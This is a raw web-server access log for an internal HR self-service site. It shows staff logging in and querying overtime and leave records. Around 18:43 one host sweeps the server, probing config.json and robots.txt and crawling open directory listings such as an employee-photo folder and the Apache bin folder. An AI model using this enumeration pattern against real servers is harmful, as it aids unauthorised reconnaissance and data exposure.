192.168.40.39 - - [03/Sep/2025:18:25:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:18:27:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:27:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:27:49 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:27:49 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:31:14 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:31:14 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:32:10 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:32:10 +0800] "GET / HTTP/1.0" 200 439
192.168.11.35 - - [03/Sep/2025:18:33:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [03/Sep/2025:18:33:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:33:24 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [03/Sep/2025:18:33:24 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:33:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:33:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [03/Sep/2025:18:33:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [03/Sep/2025:18:33:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:33:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [03/Sep/2025:18:33:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [03/Sep/2025:18:33:56 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:33:56 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
192.168.11.35 - - [03/Sep/2025:18:34:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:34:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [03/Sep/2025:18:34:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166050
192.168.11.35 - - [03/Sep/2025:18:34:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166050 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:34:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [03/Sep/2025:18:34:54 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:34:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [03/Sep/2025:18:34:55 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:34:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:34:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [03/Sep/2025:18:35:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [03/Sep/2025:18:35:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:35:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [03/Sep/2025:18:35:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:35:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8243 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:35:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8243
192.168.11.35 - - [03/Sep/2025:18:35:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 25083 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:35:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 25083
192.168.11.35 - - [03/Sep/2025:18:35:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 87764 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:35:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 87764
192.168.11.35 - - [03/Sep/2025:18:37:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.35 - - [03/Sep/2025:18:37:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:37:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.35 - - [03/Sep/2025:18:37:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:37:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:37:35 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.35 - - [03/Sep/2025:18:37:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.35 - - [03/Sep/2025:18:37:40 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:37:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:37:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.35 - - [03/Sep/2025:18:37:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:37:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.35 - - [03/Sep/2025:18:38:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6917431107206351 HTTP/1.1" 200 8728
192.168.11.35 - - [03/Sep/2025:18:38:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6917431107206351 HTTP/1.1" 200 8728 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:38:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6917431107206351 HTTP/1.1" 200 14146
192.168.11.35 - - [03/Sep/2025:18:38:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6917431107206351 HTTP/1.1" 200 14146 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6917431107206351" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:38:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:38:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
192.168.11.35 - - [03/Sep/2025:18:38:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:38:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.35 - - [03/Sep/2025:18:38:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166284 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.35 - - [03/Sep/2025:18:38:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 166284
100.64.0.1 - - [03/Sep/2025:18:38:54 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:38:54 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:41:41 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:18:41:41 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:41:49 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:41:49 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:43:17 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:43:17 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:43:43 +0800] "\x16\x03\x01\x016\x01" 501 208
100.64.0.1 - - [03/Sep/2025:18:43:43 +0800] "\x16\x03\x01\x016\x01" 501 208 "-" "-"
100.64.0.1 - - [03/Sep/2025:18:43:43 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:43:43 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
100.64.0.1 - - [03/Sep/2025:18:43:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:18:43:48 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:48 +0800] "GET /robots.txt HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:18:43:48 +0800] "GET /robots.txt HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:49 +0800] "GET /sitemap.xml HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:18:43:49 +0800] "GET /sitemap.xml HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:49 +0800] "GET /config.json HTTP/1.1" 404 209
100.64.0.1 - - [03/Sep/2025:18:43:49 +0800] "GET /config.json HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:49 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:49 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:43:50 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:18:43:50 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:50 +0800] "GET /eHR/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:18:43:50 +0800] "GET /eHR/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:50 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:18:43:50 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:50 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:18:43:50 +0800] "GET /eHRTEST/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:51 +0800] "GET /idcard/ HTTP/1.1" 200 649
100.64.0.1 - - [03/Sep/2025:18:43:51 +0800] "GET /idcard/ HTTP/1.1" 200 649 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:51 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208
100.64.0.1 - - [03/Sep/2025:18:43:51 +0800] "GET /Apache2.2/ HTTP/1.1" 404 208 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:51 +0800] "GET /emphoto/ HTTP/1.1" 200 25014
100.64.0.1 - - [03/Sep/2025:18:43:51 +0800] "GET /emphoto/ HTTP/1.1" 200 25014 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:43:51 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:52 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [03/Sep/2025:18:43:52 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [03/Sep/2025:18:43:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889
100.64.0.1 - - [03/Sep/2025:18:43:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/ HTTP/1.1" 200 1889 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:43:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845
100.64.0.1 - - [03/Sep/2025:18:43:52 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/ HTTP/1.1" 200 10845 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"
100.64.0.1 - - [03/Sep/2025:18:44:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:18:44:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:44:16 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:44:16 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:45:01 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:45:01 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:45:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:45:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:45:19 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:18:45:19 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:47:39 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:47:39 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:47:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [03/Sep/2025:18:47:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [03/Sep/2025:18:48:01 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:48:01 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:54:11 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:54:11 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:58:35 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:58:35 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:58:40 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:58:40 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:59:16 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:59:16 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:18:59:55 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:18:59:55 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:04:08 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:04:08 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [03/Sep/2025:19:05:10 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0"
100.64.0.1 - - [03/Sep/2025:19:05:10 +0800] "GET / HTTP/1.0" 200 439
